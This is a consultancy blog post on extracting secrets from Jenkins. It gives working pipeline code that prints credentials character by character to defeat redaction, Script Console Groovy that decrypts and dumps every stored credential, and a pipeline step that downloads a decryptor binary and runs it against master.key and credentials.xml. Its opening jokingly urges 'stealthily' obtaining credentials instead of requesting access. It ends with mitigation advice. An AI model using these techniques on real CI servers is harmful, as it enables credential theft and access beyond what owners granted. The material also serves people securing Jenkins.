- Por Andrzej Rehmann
- ·
- Publicado 25 May 2019
Most pipelines require secrets to authenticate with some external resources.
All secrets should live outside of our code repository and should be fed directly into the pipeline.
Jenkins offers a credentials store where we can keep our secrets and access them in a couple of different ways.
Jenkins is an easy pick when it comes to intelligence gathering.
To provide the best service as consultants, we often need all the information the client can give us.
Usually, the client provides us full access to the codebase and the infrastructure.
Sometimes, however, the things we would like to check are, let's say, temporarily out of our reach. We, of course, can request permission for access, but it can take quite a while. It could also be the case where nobody knows how to access the resource.
We can speed up things a little bit by poking around in Jenkinses and finding the way in ourselves. If we've been granted full access on paper, then there is no ethical dilemma here.
To make a good first impression ask Jenkins for a confession.
By requesting access, we could be delayed by questions like "why do you need that?" or "I will have to talk with my supervisor first."
There is no need for that; we already have the approvals. We are the Consultants.
But seriously.
Giving access to a Jenkins equals a license to view all secrets stored there.
If you don't want people to poke around, don't give them ANY access to your CI.
The answers you seek, Jenkins shall leak.
Sometimes we encounter entities which are, let's say, reluctant to share.
It could be many different reasons. However, we don't judge; stuff happens, deadlines must be met, we understand. All we need is to have a full picture of the situation.
We don't know them; they don't know us; however, Jenkins doesn't choose sides.
What do you do when you join a project and the person with the vital knowledge has long left, and nobody knows how to access that windows 98 machine in production?
Jenkins knows.
Now you know.
Be the hero.
Encryption, decryption, Jenkins provides plain text subscription.
Even if you don't need to stealthily obtain the credentials from your own company it is still good to know about the vulnerabilities when using Jenkins.
I did not use the word “secure” anywhere in the introduction because the way any CI server stores credentials, are by nature, insecure.
CI servers cannot use one-way hashes (like bcrypt) to encode secrets because when requested by the pipeline, those secrets need to be restored into their original form.
One-way hashes are then out of the picture, what's left is two-way encryption. This means two things:
You may be wondering why Jenkins even bother encrypting the secrets if they can be retrieved in their pure form just by asking. I don't have a good answer for that.
However, using Jenkins credentials store is infinitely better than keeping secrets in the project repository. Later in this post, I will talk about what can be done to minimize the leakage of secrets from Jenkins.
If you want to follow this post and run the examples yourself, you can spin up a pre-configured Jenkins instance from my jenkinsfile-examples repository in less then a minute (depending on your internet bandwidth):
git clone https://github.com/hoto/jenkinsfile-examples.git
docker-compose pull
docker-compose up
Open localhost:8080
, where you should see a Jenkins with a couple of jobs.
To browse and add secrets, click on Credentials
.
My Jenkins instance already has some pre-made credentials created by me.
To add secrets hover over (global)
to show a ▼ sign and click on it.
Select Add credentials
where you can finally add secrets.
If you want, you can add more secrets, but I will be using the existing secrets.
My advice is to provide a meaningful
ID
and use the same value forDescription
.
user
is not a goodID
,github-rw-user
is better.
Now that we've covered creating credentials, let's move on to accessing them from a Jenkinsfile
.
We will be running job 130-accessing-credentials
.
Job 130-accessing-credentials
has a following Jenkinsfile:
pipeline {
agent any
stages {
stage('usernamePassword') {
steps {
script {
withCredentials([
usernamePassword(credentialsId: 'gitlab',
usernameVariable: 'username',
passwordVariable: 'password')
]) {
print 'username=' + username + 'password=' + password
print 'username.collect { it }=' + username.collect { it }
print 'password.collect { it }=' + password.collect { it }
}
}
}
}
stage('usernameColonPassword') {
steps {
script {
withCredentials([
usernameColonPassword(
credentialsId: 'gitlab',
variable: 'userpass')
]) {
print 'userpass=' + userpass
print 'userpass.collect { it }=' + userpass.collect { it }
}
}
}
}
stage('string (secret text)') {
steps {
script {
withCredentials([
string(
credentialsId: 'joke-of-the-day',
variable: 'joke')
]) {
print 'joke=' + joke
print 'joke.collect { it }=' + joke.collect { it }
}
}
}
}
stage('sshUserPrivateKey') {
steps {
script {
withCredentials([
sshUserPrivateKey(
credentialsId: 'production-bastion',
keyFileVariable: 'keyFile',
passphraseVariable: 'passphrase',
usernameVariable: 'username')
]) {
print 'keyFile=' + keyFile
print 'passphrase=' + passphrase
print 'username=' + username
print 'keyFile.collect { it }=' + keyFile.collect { it }
print 'passphrase.collect { it }=' + passphrase.collect { it }
print 'username.collect { it }=' + username.collect { it }
print 'keyFileContent=' + readFile(keyFile)
}
}
}
}
stage('dockerCert') {
steps {
script {
withCredentials([
dockerCert(
credentialsId: 'production-docker-ee-certificate',
variable: 'DOCKER_CERT_PATH')
]) {
print 'DOCKER_CERT_PATH=' + DOCKER_CERT_PATH
print 'DOCKER_CERT_PATH.collect { it }=' + DOCKER_CERT_PATH.collect { it }
print 'DOCKER_CERT_PATH/ca.pem=' + readFile("$DOCKER_CERT_PATH/ca.pem")
print 'DOCKER_CERT_PATH/cert.pem=' + readFile("$DOCKER_CERT_PATH/cert.pem")
print 'DOCKER_CERT_PATH/key.pem=' + readFile("$DOCKER_CERT_PATH/key.pem")
}
}
}
}
stage('list credentials ids') {
steps {
script {
sh 'cat $JENKINS_HOME/credentials.xml | grep "<id>"'
}
}
}
}
}
All examples for different types of secrets can be found in the official Jenkins documentation.
Running the job and checking the logs uncovers that Jenkins tries to redact the secrets from the build log by looking for secrets values and replacing them with stars ****
.
We can see the actual secret values if we print them in such a way that a simple match-and-replace won't work.
This way, each character is printed separately, and Jenkins does not redact the values.
Example code:
print 'username.collect { it }=' + username.collect { it }
Log output:
username.collect { it }=[g, i, t, l, a, b, a, d, m, i, n]
Anyone with write access to a repository built on Jenkins can uncover all
Global
credentials by modifying aJenkinsfile
in that repository.Anyone who can create jobs on Jenkins can uncover all
Global
secrets by creating a pipeline job.
Before you ask Jenkins for a credential you need to know its id.
You can list all credentials ids by reading the $JENKINS_HOME/credentials.xml
file.
Code:
stage('list credentials ids') {
steps {
script {
sh 'cat $JENKINS_HOME/credentials.xml | grep "<id>"'
}
}
}
Log output:
<id>gitlab</id>
<id>production-bastion</id>
<id>joke-of-the-day</id>
<id>production-docker-ee-certificate</id>
System
and other credential values from the UIJenkins has two types of credentials: System
and Global
.
System
credentials are accessible only from Jenkins configuration (e.g., plugins).
Global
credentials are the same asSystem
but are also accessible from Jenkins jobs.
By definition System
credentials are not accessible from jobs, but we can decrypt them from the Jenkins UI.
To do so you need admin privileges.
Jenkins sends the encrypted value of each secret to the UI.
This is a huge security flaw.
To grab encrypted secret:
http://localhost:8080/credentials/
value
In my case the encrypted secret is {AQAAABAAAAAgPT7JbBVgyWiivobt0CJEduLyP0lB3uyTj+D5WBvVk6jyG6BQFPYGN4Z3VJN2JLDm}
.
To decrypt any credentials we can use Jenkins console which requires admin privileges to access.
If you don't have admin privileges, try to elevate your permissions by looking for an admin user in
Global
credentials first.
To open Script Console
navigate to http://localhost:8080/script
.
Tell jenkins to decrypt and print out the secret value:
println hudson.util.Secret.decrypt("{AQAAABAAAAAgPT7JbBVgyWiivobt0CJEduLyP0lB3uyTj+D5WBvVk6jyG6BQFPYGN4Z3VJN2JLDm}")
There you have it; now you can decrypt any Jenkins secret (if you have admin privileges).
Side note: if you try to run this code from a Jenkinsfile job, you will get an error message:
Scripts not permitted to use staticMethod hudson.util.Secret decrypt java.lang.String.
Administrators can decide whether to approve or reject this signature.
Although most credentials are stored in http://localhost:8080/credentials/
view, you can find additional secrets in:
http://localhost:8080/configure
- some plugins create password type fields in this view
http://localhost:8080/configureSecurity/
- look for stuff like AD credentials
Another way is to list all credentials then decrypt them from the console:
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
Jenkins.instance,
null,
null
)
for(c in creds) {
if(c instanceof com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey){
println(String.format("id=%s desc=%s key=%s\n", c.id, c.description, c.privateKeySource.getPrivateKeys()))
}
if (c instanceof com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl){
println(String.format("id=%s desc=%s user=%s pass=%s\n", c.id, c.description, c.username, c.password))
}
}
Output:
id=gitlab desc=gitlabadmin user=gitlabadmin pass=Drmhze6EPcv0fN_81Bj
id=production-bastion desc=production-bastion key=[-----BEGIN RSA PRIVATE KEY...
This script is not finished though. You can look up all the credential class names in the Jenkins source code.
To access and decrypt Jenkins credentials you need three files.
credentials.xml
- holds encrypted credentialshudson.util.Secret
- decrypts credentials.xml
entries, this file is itself encryptedmaster.key
- decrypts hudson.util.Secret
All three files are located inside Jenkins home directory:
$JENKINS_HOME/credentials.xml
$JENKINS_HOME/secrets/master.key
$JENKINS_HOME/secrets/hudson.util.Secret
Because Jenkins is open source, someone already reverse engineered the encryption and decryption procedure. If you are interested in the details then read this fascinating blog.
Secrets are encrypted in credentials.xml
using AES-128
with hudson.util.Secret
as the key, then are base64
encoded.
hudson.util.Secret
binary file is encrypted with master.key
.
master.key
is stored in plain text.
credentials.xml
stores bothGlobal
andSystem
credentials.
To directly access and decrypt that file you do NOT need admin privileges.
There are existing tools to decrypt Jenkins secrets. The ones I found are in python, like this one.
I would include the source code here, but unfortunately, that repository does not have a license.
Python cryptography module is not included in the python standard library, it has to be installed as a dependency. Because I don't want to deal with python runtime and external dependencies I wrote my own decryptor in Go.
Go binaries are self-contained and require only the kernel to run.
Side note: Jenkins is using AES-128-ECB
algorithm which is not included in the Go standard library. That algorithm was deliberately excluded in 2009 to discourage people from using it.
Github repository for my jenkins-credentials-decryptor
tool can be found here.
To see the binary in action run job 131-dumping-credentials
, which uses the following Jenkinsfile:
pipeline {
agent any
stages {
stage('Dump credentials') {
steps {
script {
sh '''
curl -L \
"https://github.com/hoto/jenkins-credentials-decryptor/releases/download/0.0.5-alpha/jenkins-credentials-decryptor_0.0.5-alpha_$(uname -s)_$(uname -m)" \
-o jenkins-credentials-decryptor
chmod +x jenkins-credentials-decryptor
./jenkins-credentials-decryptor \
-m $JENKINS_HOME/secrets/master.key \
-s $JENKINS_HOME/secrets/hudson.util.Secret \
-c $JENKINS_HOME/credentials.xml
'''
}
}
}
}
}
This tool can also be run on the Jenkins host via ssh. It's only ~6MB and will work on any linux distribution.
By decrypting
credentials.xml
withjenkins-credentials-decryptor
, we can print the values of bothGlobal
andSystem
credentials without the admin privileges.
I don’t think there is a way to completely mitigate security vulnerabilities when using a CI.
We can only make it a bit more time consuming to let the attacker get our secrets by setting up layers and create a moving target.
This is an easy pick and my #1 advice to anyone using a Jenkins.
Prevent most basic attacks by hiding your Jenkins from the public internet.
I know VPNs are annoying, but nowadays the internet connection is so fast and responsive you should not even notice.
Often Jenkinses are left for months and even years without an update. Old versions are full of known holes and vulnerabilities. Same for plugins and the OS, don't hesitate to update them as well. If you are worried about updating, then set up an automatic backup of the Jenkins disk every 24h.
If read-only access is enough, then don't use credentials with read-and-write access.
When a pipeline only needs access to a subset of resources, then create credentials only for those resources and nothing more.
Secrets won't leak if we never create them in the first place.
Some cloud providers make it possible to access a resource by assigning a role to a machine (e.g., AWS IAM role).
Instead of storing a secret on Jenkins store it in a vault with automatic password rotation (e.g., Hashicorp Vault, AWS Secrets Manager). Make your pipeline call a vault to access a secret every time it needs it. This makes automatic password rotation very easy to set up as the vault will be the only source of truth.
Although a password rotation does not prevent the secret to leak, the secret value will only be valid for a limited time.
That's why we call it "creating a moving target."
Treat everyone with access to Jenkins as an admin user, and you will be fine.
Once you give someone access, even read-only, to a Jenkins it's game over.
All developers on a project should know all secrets anyway.
If you have something worth stealing, someone will try to steal it.
You may think that if someone stole your source code and dumped your databases, it's game over, but that is not necessarily true. For example if your production database is dumped but the customers' secrets inside it are properly one-way hashed then the damage can be vastly reduced. The only thing your company looses in such scenario is its credibility.
Software es nuestra pasión.
Somos Software Craftspeople. Construimos software bien elaborado para nuestros clientes, ayudamos a los/as desarrolladores/as a mejorar en su oficio a través de la formación, la orientación y la tutoría. Ayudamos a las empresas a mejorar en la distribución de software.